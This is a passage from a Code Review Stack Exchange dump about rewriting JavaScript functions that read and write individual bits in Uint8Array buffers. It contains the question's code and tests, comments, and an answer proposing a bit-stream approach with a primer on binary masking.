"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T09:43:58.297",
"Id": "490481",
"Score": "1",
"body": "Hello.\nThis is not inline with the op's intentions.\n\"Removing unneeded objects from an array before rendering\" and\n\"All objects are drawn until its array reaches a length of 5 when the oldest is removed\" implied: from the array, not the canvas.\nAlso, a bug(?): when a drawn object is \"removed\" from canvas, it 'takes away' portions of other drawn objects if they were unfortunate enough to be drawn 'underneath' it.\nOut of curtesy, I did not down-vote your answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T12:32:59.503",
"Id": "490495",
"Score": "1",
"body": "@iAmOren thank you for pointing that out in a courteous manner. I have removed that alternate approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T13:34:21.717",
"Id": "490499",
"Score": "1",
"body": "Of course! I treat others the way I'd like to be treated.\nI get so many down-vote without reason (and if I express what I really think about this and them, I'll be suspended again...)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T13:36:33.870",
"Id": "490500",
"Score": "0",
"body": "`for (let i = particles.length; i--; /* intentional no-op */) {` - confuses me:\nWon't it point to \"after\" the array (as it's zero-based-indexed(?))?\n(The \"intentional no-op\" part is clear: the test condition will fail when `i` is zero)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T14:43:21.477",
"Id": "490511",
"Score": "0",
"body": "the [`condition`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for#Syntax) expression is evaluated before each loop iteration so on the first iteration `i` will be assigned `particles.length` and then decremented in the `condition` expression"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T14:52:57.093",
"Id": "490514",
"Score": "0",
"body": "Got it. Confusing, but got it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-04T10:28:58.507",
"Id": "490781",
"Score": "0",
"body": "I feel really bad for not accepting the answers from you and @iAmOren as they are very well-written, informative and helped me understand more. I gave you both upvotes, I hope that's okay. Have a nice day."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:11:44.110",
"Id": "249853",
"ParentId": "249835",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249843",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:19:58.963",
"Id": "249835",
"Score": "5",
"Tags": [
"javascript",
"array",
"ecmascript-6",
"memory-management"
],
"Title": "Removing unneeded objects from an array before rendering"
}
|
249835
|
<p><strong>tl;dr:</strong> How could you rewrite the <code>buf_get</code> and <code>buf_set</code> functions below to be most optimal?</p>
<p>It took me a long time and a lot of head banging on the wall to get these <code>buf_*</code> functions to work, but they are not very elegant and I'm sure many of you can easily spot how to do these "more correctly".</p>
<p>Basically, the <code>uint8_*</code> functions are an implementation of bitwise get/set/clear on 8-bit unsigned integers in JavaScript. Then the <code>buf_*</code> extend that to work on arbitrarily large 8-bit buffers, treating the bit buffer as chunks of 8-bits, but operating on potentially every individual bit... You pass in as parameters where you start and such relative to some 8-bit chunk in the buffer basically.</p>
<p>First, here are the 5 <code>uint8_*</code> functions, most of which were rewritten right-to-left in a simpler way <a href="https://codereview.stackexchange.com/a/245041/168199">here</a>, but I couldn't integrate because it would mess up their usage in the <code>buf_*</code> functions.</p>
<pre><code>function uint8_get_size(n) {
let i = 0
while (n) {
i++
n >>= 1
}
return i
}
function uint8_get(n, l, s) {
let r = 8 - l - s
let p = 1 << 8
let o = p - 1
let ol = o << r
let or = o >> l
let om = or & ol
let x = n & om
return x >> r
}
function uint8_set(n, i, x) {
let o = 0xff // 0b11111111
let c = uint8_get_size(x)
let j = 8 - i // right side start
let k = j - c // right side remaining
let h = c + i
let a = x << k // set bits
let b = a ^ o // set bits flip
let d = o >> h // mask right
let q = d ^ b //
let m = o >> j // mask left
let s = m << j
let t = s ^ q // clear bits!
let w = n | a // set the set bits
let z = w & ~t // perform some magic https://stackoverflow.com/q/8965521/169992
return z
}
function uint8_clear(n, i, c) {
let s = i + c
let r = 8 - s
let p = 1 << 8
let o = p - 1
let j = o >> i
let k = o << r
let h = j & k
let g = ~h
let z = n & g
return z
}
function uint8_set_with_leading_space(uint8, left, size, value) {
uint8 = uint8_clear(uint8, left, size)
let writeSize = uint8_get_size(value)
let newLeft = left + size - writeSize
return uint8_set(uint8, newLeft, value)
}
</code></pre>
<p>Those are dependencies of the <code>buf_*</code> implementations.</p>
<p>So then here are the "main" functions of the topic of the question, the <code>buf_*</code> functions, which are currently quite tangled. The <code>readUint8Buffer</code> is assumed to be a large enough <code>Uint8Array</code> such as <code>new Uint8Array(16777216)</code> to hold the amount of data being operated on for all intents and purposes.</p>
<pre><code>function buf_get(readUint8Buffer, readLeft, readSize, writeUint8Buffer, writeLeft) {
buf_get_impl(readUint8Buffer, readLeft, readSize, writeLeft, function(l, s, b){
buf_set_with_leading_space(writeUint8Buffer, l, s, b)
})
}
// since this was used in two places above I refactored it out.
function buf_get_impl(readUint8Buffer, readLeft, readSize, writeLeft, cb) {
let i = 0
while (readSize) {
let readUint8Offset = readLeft >> 3
let readBitOffset = readLeft % 8
let readRightBitSize = Math.min(8, readSize + readBitOffset) - readBitOffset
var strange = (readBitOffset + readRightBitSize) == 8
let uint8 = readUint8Buffer[readUint8Offset]
let bits = uint8_get(uint8, readBitOffset, readRightBitSize)
cb(writeLeft, strange ? readRightBitSize : 8, bits)
readSize -= readRightBitSize
if (strange) {
let uint8 = readUint8Buffer[readUint8Offset + 1]
let bits = uint8_get(uint8, 0, 8 - readRightBitSize)
cb(writeLeft, 8, bits)
writeLeft += (8 - readRightBitSize)
readLeft += (8 - readRightBitSize)
// readSize -= (8 - readRightBitSize)
}
writeLeft += readRightBitSize
readLeft += readRightBitSize
}
}
function buf_set_with_leading_space(writeUint8Buffer, left, size, writeUint8) {
buf_clear(writeUint8Buffer, left, size - left)
let writeSize = uint8_get_size(writeUint8)
let newLeft = left + size - writeSize
buf_set(writeUint8Buffer, newLeft, writeUint8)
}
function buf_set(writeUint8Buffer, left, writeUint8) {
let writeSize = uint8_get_size(writeUint8)
let writeUpdated = writeUint8 << (8 - writeSize)
let readUint8Left = left >> 3
let readUint8a = writeUint8Buffer[readUint8Left]
let readBitLeft = left % 8
let readStartSize = 8 - readBitLeft
let writeUint8Subseta = uint8_get(writeUpdated, 0, readStartSize)
let outUint8a = uint8_set(readUint8a, readBitLeft, writeUint8Subseta)
writeUint8Buffer[readUint8Left] = outUint8a
let extent = readBitLeft + writeSize
if (extent > 8) {
let writeUint8SubsetbSize = extent - 8
let writeUint8Subsetb = uint8_get(writeUpdated, readStartSize, writeUint8SubsetbSize)
let readUint8b = writeUint8Buffer[readUint8Left + 1]
let clearedUint8 = uint8_clear(readUint8b, 0, writeUint8SubsetbSize)
let outUint8b = uint8_set_with_leading_space(clearedUint8, 0, writeUint8SubsetbSize, writeUint8Subsetb)
writeUint8Buffer[readUint8Left + 1] = outUint8b
}
}
function buf_clear(writeUint8Buffer, left, size) {
// this currently allows local tests to pass
// as long as you are just loading into a buffer
// straight left to right.
// i haven't gotten to clearing buffers yet, so
// you can just ignore this for now to keep it simpler.
}
</code></pre>
<p>This is all of the code with a few examples demonstrating the API I've been using.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const a1 = uint8_get(0b10100000, 0, 1)
assertBits(a1, '1')
const a2 = uint8_get(0b10100000, 0, 2)
assertBits(a2, '10')
const a3 = uint8_get(0b10100000, 0, 3)
assertBits(a3, '101')
const a4 = uint8_get(0b10111001, 2, 4)
assertBits(a4, '1110')
const a5 = uint8_get(0b10111001, 0, 6)
assertBits(a5, '101110')
const b0 = uint8_set(0, 1, 1)
assertBits(b0, '1000000')
const b1 = uint8_set(0b10111001, 1, 0b10)
assertBits(b1, '11011001')
const b2 = uint8_set(0b10111001, 1, 0b1001)
assertBits(b2, '11001001')
const b3 = uint8_set(0b10111001, 3, 0b1001)
assertBits(b3, '10110011')
const b4 = uint8_set(0b10111001, 4, 0b1001)
assertBits(b4, '10111001')
const b5 = uint8_set(0b10111001, 5, 0b101)
assertBits(b5, '10111101')
const c1 = uint8_clear(0b10111001, 2, 3)
assertBits(c1, '10000001')
const c2 = uint8_clear(0b10111001, 0, 3)
assertBits(c2, '11001')
const d1 = uint8_set_with_leading_space(0b10111001, 2, 3, 2)
assertBits(d1, '10010001')
const e1 = new Uint8Array(16)
buf_set(e1, 0, 5)
assertBuffer(e1, 0, '10100000')
buf_set(e1, 6, 5)
assertBuffer(e1, 0, '10100010')
assertBuffer(e1, 1, '10000000')
const e2 = new Uint8Array(16)
buf_set(e2, 0, 5)
assertBuffer(e2, 0, '10100000')
buf_set(e2, 20, 5)
assertBuffer(e2, 0, '10100000')
assertBuffer(e2, 1, '0')
assertBuffer(e2, 2, '1010')
assertBuffer(e2, 3, '0')
const f1 = new Uint8Array(16)
f1[0] = 0b10111001
f1[1] = 0b10111001
f1[3] = 0b10111001
const f2 = new Uint8Array(16)
buf_get(f1, 0, 8, f2, 0)
assertBuffer(f2, 0, '10111001')
const f3 = new Uint8Array(16)
f3[0] = 0b10111001
f3[1] = 0b10111001
f3[3] = 0b10111001
const f4 = new Uint8Array(16)
buf_get(f3, 1, 8, f4, 0)
assertBuffer(f4, 0, '1110011')
assertBuffer(f4, 1, '0')
const f5 = new Uint8Array(16)
f5[0] = 0b10111001
f5[1] = 0b10111001
f5[3] = 0b10111001
const f6 = new Uint8Array(16)
buf_get(f5, 0, 16, f6, 0)
assertBuffer(f6, 0, '10111001')
assertBuffer(f6, 1, '10111001')
const f7 = new Uint8Array(16)
f7[0] = 0b10111001
const f8 = new Uint8Array(16)
buf_get(f7, 2, 2, f8, 0)
assertBuffer(f8, 0, '11')
const f9 = new Uint8Array(16)
f9[0] = 0b10111001
f9[1] = 0b10111001
f9[3] = 0b10111001
const f10 = new Uint8Array(16)
buf_get(f9, 0, 2, f10, 0)
assertBuffer(f10, 0, '10')
const f11 = new Uint8Array(16)
f11[0] = 0b10111001
f11[1] = 0b10111001
f11[3] = 0b10111001
const f12 = new Uint8Array(16)
buf_get(f11, 1, 16, f12, 0)
assertBuffer(f12, 0, '1110011')
assertBuffer(f12, 1, '1110010')
function buf_get(readUint8Buffer, readLeft, readSize, writeUint8Buffer, writeLeft) {
buf_get_impl(readUint8Buffer, readLeft, readSize, writeLeft, function(l, s, b){
buf_set_with_leading_space(writeUint8Buffer, l, s, b)
})
}
function buf_get_with_leading_space(readUint8Buffer, readLeft, readSize) {
let uint32 = 0
buf_get_impl(readUint8Buffer, readLeft, readSize, 0, function(l, s, b){
uint32 = uint8_set_with_leading_space(uint32, l, s, b)
})
return uint32
}
// since this was used in two places above I refactored it out.
function buf_get_impl(readUint8Buffer, readLeft, readSize, writeLeft, cb) {
let i = 0
while (readSize) {
let readUint8Offset = readLeft >> 3
let readBitOffset = readLeft % 8
let readRightBitSize = Math.min(8, readSize + readBitOffset) - readBitOffset
var strange = (readBitOffset + readRightBitSize) == 8
let uint8 = readUint8Buffer[readUint8Offset]
let bits = uint8_get(uint8, readBitOffset, readRightBitSize)
cb(writeLeft, strange ? readRightBitSize : 8, bits)
readSize -= readRightBitSize
if (strange) {
let uint8 = readUint8Buffer[readUint8Offset + 1]
let bits = uint8_get(uint8, 0, 8 - readRightBitSize)
cb(writeLeft, 8, bits)
writeLeft += (8 - readRightBitSize)
readLeft += (8 - readRightBitSize)
// readSize -= (8 - readRightBitSize)
}
writeLeft += readRightBitSize
readLeft += readRightBitSize
}
}
function buf_set_with_leading_space(writeUint8Buffer, left, size, writeUint8) {
buf_clear(writeUint8Buffer, left, size - left)
let writeSize = uint8_get_size(writeUint8)
let newLeft = left + size - writeSize
buf_set(writeUint8Buffer, newLeft, writeUint8)
}
function buf_set(writeUint8Buffer, left, writeUint8) {
let writeSize = uint8_get_size(writeUint8)
let writeUpdated = writeUint8 << (8 - writeSize)
let readUint8Left = left >> 3
let readUint8a = writeUint8Buffer[readUint8Left]
let readBitLeft = left % 8
let readStartSize = 8 - readBitLeft
let writeUint8Subseta = uint8_get(writeUpdated, 0, readStartSize)
let outUint8a = uint8_set(readUint8a, readBitLeft, writeUint8Subseta)
writeUint8Buffer[readUint8Left] = outUint8a
let extent = readBitLeft + writeSize
if (extent > 8) {
let writeUint8SubsetbSize = extent - 8
let writeUint8Subsetb = uint8_get(writeUpdated, readStartSize, writeUint8SubsetbSize)
let readUint8b = writeUint8Buffer[readUint8Left + 1]
let clearedUint8 = uint8_clear(readUint8b, 0, writeUint8SubsetbSize)
let outUint8b = uint8_set_with_leading_space(clearedUint8, 0, writeUint8SubsetbSize, writeUint8Subsetb)
writeUint8Buffer[readUint8Left + 1] = outUint8b
}
}
function buf_clear(writeUint8Buffer, left, size) {
// this currently allows local tests to pass
// as long as you are just loading into a buffer
// straight left to right.
// i haven't gotten to clearing buffers yet, so
// you can just ignore this for now to keep it simpler.
}
function uint8_get_size(n) {
let i = 0
while (n) {
i++
n >>= 1
}
return i
}
function uint8_get(n, l, s) {
let r = 8 - l - s
let p = 1 << 8
let o = p - 1
let ol = o << r
let or = o >> l
let om = or & ol
let x = n & om
return x >> r
}
function uint8_set(n, i, x) {
let o = 0xff // 0b11111111
let c = uint8_get_size(x)
let j = 8 - i // right side start
let k = j - c // right side remaining
let h = c + i
let a = x << k // set bits
let b = a ^ o // set bits flip
let d = o >> h // mask right
let q = d ^ b //
let m = o >> j // mask left
let s = m << j
let t = s ^ q // clear bits!
let w = n | a // set the set bits
let z = w & ~t // perform some magic https://stackoverflow.com/q/8965521/169992
return z
}
function uint8_clear(n, i, c) {
let s = i + c
let r = 8 - s
let p = 1 << 8
let o = p - 1
let j = o >> i
let k = o << r
let h = j & k
let g = ~h
let z = n & g
return z
}
function uint8_set_with_leading_space(uint8, left, size, value) {
uint8 = uint8_clear(uint8, left, size)
let writeSize = uint8_get_size(value)
let newLeft = left + size - writeSize
return uint8_set(uint8, newLeft, value)
}
function assertBits(a, b) {
assertEqual(a.toString(2), b)
}
function assertBuffer(buffer, index, value) {
assertEqual(buffer[index].toString(2), value)
}
function assertEqual(a, b) {
if (a != b) {
throw new Error(`${a} != b`)
}
console.log('success')
}</code></pre>
</div>
</div>
</p>
<p>Could you show how to implement the <code>buf_*</code> functions (specifically just <code>buf_get</code> and <code>buf_set</code>) in the most optimal, simplified, straightforward manner, whatever implementation is fewest operations? The code can be reorganized or rearchitected however makes it possible, so if switching from left-to-right reading to right-to-left reading (per 8-bits) helps, then that makes sense.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:33:29.510",
"Id": "489903",
"Score": "0",
"body": "I suggest sticking with right to left, because that's how they are done in all JS contexts."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:35:48.300",
"Id": "489904",
"Score": "4",
"body": "Additionally, your variable naming is very poor in your `uint8_*` functions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-12T05:57:49.013",
"Id": "502059",
"Score": "0",
"body": "I noticed in your f7/f8 test case, you copy the two bits \"11\" over to the f8 buffer. Your last parameter to buf_get() was 0, which I presume means the zeroith index - if so, shouldn't the result be \"11000000\", not \"11\". Or am I misunderstanding what this parameter is."
}
] |
[
{
"body": "<h2>Keep it simple</h2>\n<p>OMDG it took me longer to work out what your code was doing than to write a solution.</p>\n<p>Some of it seams to have taken the most complex possible path to a solution, and I am still not 100% sure (as I gave up deciphering that code) what the <code>buf_get_with_leading_space</code> means with <code>leading_space</code>. I am assuming you mean leading off bits?</p>\n<p>I get the strong feeling you are not familiar with binary as you are doing some very strange things</p>\n<p>For example</p>\n<blockquote>\n<pre><code>assertBuffer(f12, 0, '1110011')\n\nfunction assertBuffer(buffer, index, value) {\n assertEqual(buffer[index].toString(2), value)\n}\n\nfunction assertEqual(a, b) {\n if (a != b) {\n throw new Error(`${a} != b`)\n }\n console.log('success')\n}\n</code></pre>\n</blockquote>\n<p>Why convert the bytes to a string. Will also work as numbers</p>\n<pre><code>assertBuffer(f12, 0, 0b1110011);\n\nfunction assertBuffer(buffer, index, value) {\n assertEqual(buffer[index], value);\n}\n\nfunction assertEqual(a, b) {\n if (a != b) { throw new Error(`${a} != b`) }\n console.log('success');\n}\n</code></pre>\n<h2>BTW</h2>\n<ul>\n<li>Please use semicolons.</li>\n<li>DONT USE snake_case. Javascript uses camelCase.</li>\n<li>Use constants when you can.</li>\n<li>Give variables and functions meaningful names.</li>\n</ul>\n<h2>Bit order</h2>\n<p>Bits to the left are high order bits, bits to the right are low order bits.</p>\n<p>As the calculations required to get a bit from a byte (word, long, whatever) change depending on the indexing you use high to low or low to high, you can use an array of bit masks to pre calculate the values needed</p>\n<ul>\n<li>High to low bits would be <code>[128, 64, 32, 16, 8, 4, 2, 1]</code></li>\n<li><code>[1, 2, 4, 8, 16, 32, 64, 128]</code> no surprise is low to high bits.</li>\n</ul>\n<p>A function to create bit masks. It will create masks for any number of bits up to 32 (the limit using JS <code>Number</code>)</p>\n<pre><code>function createBitOrder(fromLeft, bits) {\n const bitMasks = [];\n var i = bits;\n while (i-- > 0) { bitMasks.push(fromLeft ? (1 << i) : (1 << (bits - 1 - i))) }\n return bitMasks;\n}\n</code></pre>\n<h2>Reading bits</h2>\n<p>Reading a bit is very easy, in this case using High to low order (using lookup array <code>bits</code> the example reads 4 bits from the 2 byte buffer</p>\n<h3>Example</h3>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> const bits = [128, 64, 32, 16, 8, 4, 2, 1];\n const readBit = (buf, bit) => buf[bit >> 3] & bits[bit % 8] ? 1 : 0;\n\n const buf = [2, 128]; // 6th and 8th bit from left set\n var bit = 6;\n console.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));\n console.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));\n console.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));\n console.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<h2>Write bits</h2>\n<p>To write a bit you need to first clear the bit at the write position and then set it.</p>\n<p>Again to allow for bit order changes use an array to mask the bits you want to keep, then set the bit using the array <code>bits</code></p>\n<h3>Example</h3>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const bits = [128, 64, 32, 16, 8, 4, 2, 1];\nconst masks = bits.map(v => 0xFF ^ v); // creates mask\nconst readBit = (buf, bit) => buf[bit >> 3] & bits[bit % 8] ? 1 : 0;\n\nconst setBit = (buf, bit, val) => \n buf[bit >> 3] = (buf[bit >> 3] & masks[bit % 8]) + (val ? bits[bit % 8] : 0);\n\nconst buf = [2,0x80]; // 6th and 8th bit from left set\nvar bit = 6;\nsetBit(buf, 6, 0); // bit 6 to 0\nsetBit(buf, 7, 1); // bit 7 to 1\nsetBit(buf, 8, 0); // bit 8 to 0\nsetBit(buf, 9, 1); // bit 9 to 1\n\nconsole.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));\nconsole.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));\nconsole.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));\nconsole.log(\"bit: \" + bit + \" = \" + readBit(buf, bit++));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<h2>Bit stream</h2>\n<p>The common way to read and write bits is via a stream, in this case we would call it a bit stream.</p>\n<p>A stream has a buffer from which to read or write and a position. Position is where in the buffer the read or write is. The position is in bits eg pos 8 is the high bit of the second byte if order is high to low</p>\n<p>The stream is created by passing the mask that defines the order.</p>\n<p>There are two setters to set the position and the buffer.</p>\n<p>Reading and writing bits automatically increments the bit position</p>\n<h3>Example bit stream</h3>\n<pre><code>function BitStream(mask) {\n var pos = 0, buf = [];\n const maskOut = mask.map(v => 0xFF ^ v);\n return {\n set pos(p) { pos = p },\n set buf(data) { buf = data },\n get bit() { return (buf[pos >> 3] & mask[pos++ % 8]) ? 1 : 0 },\n set bit(val) { \n const byte = pos >> 3, bit = pos ++ % 8;\n buf[byte] = (buf[byte] & maskOut[bit]) + (val ? mask[bit] : 0);\n },\n };\n}\n</code></pre>\n<p>Thus to use in one of your examples</p>\n<blockquote>\n<pre><code>const f11 = new Uint8Array(16)\nf11[0] = 0b10111001\nf11[1] = 0b10111001\nf11[3] = 0b10111001\nconst f12 = new Uint8Array(16)\nbuf_get(f11, 1, 16, f12, 0)\nassertBuffer(f12, 0, '1110011')\nassertBuffer(f12, 1, '1110010')\n</code></pre>\n</blockquote>\n<p>Would be</p>\n<pre><code>const readStream = BitStream(createBitOrder(true, 8));\nconst writeStream = BitStream(createBitOrder(true, 8));\n\n\nfunction bufGet(bufA, readPos, bits, bufB, writePos) {\n readStream.buf = bufA; // set buffers\n writeStream.buf = bufB;\n readStream.pos = readPos; // set read and write positions\n writeStream.pos = writePos;\n while (bits-- > 0) { writeStream.bit = readStream.bit }\n}\n\nconst f11 = [0b10111001, 0b10111001, 0b10111001];\nconst f12 = [0, 0, 0];\nbufGet(f11, 1, 16, f12, 0);\n</code></pre>\n<h2>Complete example</h2>\n<p>Using bit streams.</p>\n<p>It replaces your <code>buf_clear</code> with <code>BitMovers.clearBits(buf, fromBit, numBits)</code></p>\n<p>As all the other <code>buf_*</code> all do the same thing there is only a need for and all the others with <code>BitMovers.moveBits(fromBuf, fromBit, numBits, toBuf, toBit)</code> that will move bits from one stream, to the other.</p>\n<p>Is it quicker?? maybe, i will leave it to you to find that out.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function createBitOrder(fromLeft, bits) {\n const bitMasks = [];\n var i = bits;\n while (i-- > 0) { bitMasks.push(fromLeft ? (1 << i) : (1 << (bits - 1 - i))) }\n return bitMasks;\n}\nfunction BitStream(mask) {\n var pos = 0, buf = [];\n const maskOut = mask.map(v => 0xFF ^ v);\n return {\n set pos(p) { pos = p },\n set buf(data) { buf = data },\n get bit() { return (buf[pos >> 3] & mask[pos++ % 8]) ? 1 : 0 },\n set bit(val) { \n const byte = pos >> 3, bit = pos ++ % 8;\n buf[byte] = (buf[byte] & maskOut[bit]) + (val ? mask[bit] : 0);\n },\n writeTo(stream, bits) { while (bits-- > 0) { stream.bit = this.bit } },\n clear(bits) { while (bits-- > 0) { this.bit = 0 } },\n };\n}\n\n// replacement functions\nfunction BitMovers() {\n const mask = createBitOrder(true, 8); // high to low\n const read = BitStream(mask);\n const write = BitStream(mask);\n return {\n moveBits(fromBuf, fromBit, numBits, toBuf, toBit) {\n read.buf = fromBuf;\n write.buf = toBuf;\n read.pos = fromBit;\n write.pos = toBit;\n read.writeTo(write, numBits);\n },\n clearBits(buf, fromBit, numBits) {\n write.buf = buf;\n write.pos = fromBit;\n write.clear(numBits);\n },\n }\n}\n\nconst movers = BitMovers();\nconst bufA = [255,0,255,0];\nconst bufB = [0,0,0,0];\nmovers.moveBits(bufA, 4, 8, bufB, 20);\nmovers.clearBits(bufB, 1, 6);</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><code id=\"info\"> </code></code></pre>\r\n</div>\r\n</div>\r\n</p>\n<hr />\n<hr />\n<h1>UPDATE</h1>\n<p>As requested in your comment</p>\n<blockquote>\n<p><em>"Can you describe how/why you got mask and maskOut? Why do they have the values they do? And what do you mean by 'create bit order' exactly? "</em></p>\n</blockquote>\n<p>I have updated the answer with the following.</p>\n<p><sub><sub>Please note this is a very quick draft of update, I will clean it up when i get time</sub></sub></p>\n<h3>Useful links.</h3>\n<ul>\n<li><p><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#bitwise_operators\" rel=\"nofollow noreferrer\" title=\"MDN Bitwise operations\">Binary Operators</a></p>\n</li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Bitwise_operation\" rel=\"nofollow noreferrer\" title=\"Wiki page Bitwise operations\">Bitwise operations</a></p>\n</li>\n<li><p><a href=\"https://ryanstutorials.net/binary-tutorial/\" rel=\"nofollow noreferrer\" title=\"Random site I found using google search 'Binary basics'\">Binary basics</a></p>\n</li>\n</ul>\n<h2>Binary numbers The basics.</h2>\n<p>There are 10 types of people in the world, those that understand binaray and those that don't.</p>\n<p>If you don't get the joke then maybe replacing 10 with <code>0b10</code> will help. In JS a number prefixed with <code>0b</code> means a number is written in binary (using only 2 digits 0 and 1) From here on in I will use this notation.</p>\n<p>BTW hex (base 16) is prefixed with <code>0x</code> and octal (base 8) is prefixed with 0</p>\n<p>The set of counting numbers 0 to 16 as defined in JS</p>\n<ul>\n<li>in binary <code>0b0 - 0b10000</code></li>\n<li>in octal <code>00 - 020</code></li>\n<li>in decimal <code>0 - 16</code></li>\n<li>in hex <code>0x0 - 0x10</code></li>\n</ul>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> Base 2 Binary | Base 8 Octal | Base 10 | Base 16 Hexadecimal *1 \n ------------------------------------------------------------------\n 0b0000 | 00 | 0 | 0x0 \n 0b0001 | 01 | 1 | 0x1 \n 0b0010 | 02 | 2 | 0x2 \n 0b0011 | 03 | 3 | 0x3 \n 0b0100 | 04 | 4 | 0x4 \n 0b0101 | 05 | 5 | 0x5 \n 0b0110 | 06 | 6 | 0x6 \n 0b0111 | 07 | 7 | 0x7 \n 0b1000 | 010 | 8 | 0x8 \n 0b1001 | 011 | 9 | 0x9 \n 0b1010 | 012 | 10 | 0xA \n 0b1011 | 013 | 11 | 0xB \n 0b1100 | 014 | 12 | 0xC \n 0b1101 | 015 | 13 | 0xD \n 0b1110 | 016 | 14 | 0xE \n 0b1111 | 017 | 15 | 0xF \n 0b10000 | 028 | 16 | 0x10</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<ul>\n<li>*1 Note Hex uses <code>A - F</code> to represent the 10th to 15th digits, they can also be lower case <code>a - f</code></li>\n</ul>\n<p>In Decimal we name the positions of digits from 1 up. for example <code>1000</code> (one thousand) the one is the 4th digit. The same applies with any numbering system. The binary number <code>0b1000</code> (ten) also has 1 as the 4th digit.</p>\n<p>JavaScript indexes are 0 based so when determining a position we start a 0. Thus binary <code>0b1000</code> (ten) has the (zero indexed) digit 1 at bit position 3</p>\n<p>Bit positions and indexes of a byte (8 bits long)</p>\n<pre><code>/*\n \n 0b11111111\n 87654321 // bit position \n 76543210 // bit index\n ^ ^\n | Low bit (right bit)\n High bit (left bit\n */\n \n</code></pre>\n<h3>Your question in comment</h3>\n<blockquote>\n<p><em>"... what do you mean by 'create bit order' exactly? "</em></p>\n</blockquote>\n<p>In the question there is a mention of left to right and right to left. Also you are indexing bits from the left most bit. I was unsure if your code would requier indexing using high to low and low to high so I used arrays to create the masks need to read bits in any order.</p>\n<p>Thus <em>"create bit order"</em> means create array that represents the order of bits</p>\n<p>Examples of binary values used to order bits <em>"high to low"</em> and <em>"low to high"</em></p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>Pos | Bit | High to low | Calculated from pos | Low to high | Calculated from pos \n----------------------------------------------------------------------------------\n 1 | 0 | 0b10000000 | 1 << 8 - 1 | 0b00000001 | 1 << 1 - 1 \n 2 | 1 | 0b01000000 | 1 << 8 - 2 | 0b00000010 | 1 << 1 - 2 \n 3 | 2 | 0b00100000 | 1 << 8 - 3 | 0b00000100 | 1 << 1 - 3 \n 4 | 3 | 0b00010000 | 1 << 8 - 4 | 0b00001000 | 1 << 1 - 4 \n 5 | 4 | 0b00001000 | 1 << 8 - 5 | 0b00010000 | 1 << 1 - 5 \n 6 | 5 | 0b00000100 | 1 << 8 - 6 | 0b00100000 | 1 << 1 - 6 \n 7 | 6 | 0b00000010 | 1 << 8 - 7 | 0b01000000 | 1 << 1 - 7 \n 8 | 7 | 0b00000001 | 1 << 8 - 8 | 0b10000000 | 1 << 1 - 8 \n </code></pre>\r\n</div>\r\n</div>\r\n</p>\n<h2>Binary Operators</h2>\n<blockquote>\n<p><em>"Can you describe how/why you got mask and maskOut? Why do they have the values they do? "</em></p>\n</blockquote>\n<p>Binary operators use bit logic to do binary math on numbers. As it is a length subject I will only describe what is relevant.</p>\n<p>We use bitwise math to apply some abstract math on a number.</p>\n<h2>Masking</h2>\n<p>Masking uses bitwise logic to help find clear and set bits within a binary number</p>\n<h3>Masking to get a bit</h3>\n<p>We use masks to remove unwanted digits (set them to zero) and keep the wanted bits (zero or one)\nFor example, say we want to know what the digit is at the 7th position in a binary binary number is(index 6 or bit 6)</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>/* a random number in binary decimal 237\nbin = 0b11101101 \nidx = 6 // The bit index\n\nmaskA = 